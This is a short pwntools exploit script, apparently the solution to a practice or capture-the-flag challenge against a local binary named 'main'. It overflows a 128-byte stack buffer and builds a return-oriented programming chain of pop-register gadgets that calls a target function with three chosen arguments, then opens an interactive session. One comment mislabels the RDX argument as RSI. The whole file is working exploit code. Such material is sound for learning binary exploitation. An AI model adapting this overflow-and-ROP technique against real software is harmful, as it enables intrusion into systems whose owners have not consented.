
from pwn import *

CALL_ME = 0x00400580

PRDI_RET = 0x00400683
PRSI_PR15_RET = 0x00400681
PRDX_RET = 0x0040057b

#s = process("./main")

# Uncomment for debugging
s = process("./main")
#gdb.attach(s, 'b*0x004005f2')

payload = 'A'*128
payload += 'BBBBBBBB' # RBP
payload += p64(PRDI_RET) # RET to GADGET
payload += p64(0x11223344) # RDI Param1

payload += p64(PRSI_PR15_RET) # RET to GADGET
payload += p64(0x55667788) # RSI Param2
payload += p64(0x0) # R15

payload += p64(PRDX_RET) # RET to GADGET
payload += p64(0x11335577) # RSI Param2

payload += p64(CALL_ME) # RET

payload += '\n'
s.send(payload)
print(s.recv())
s.interactive()
s.close()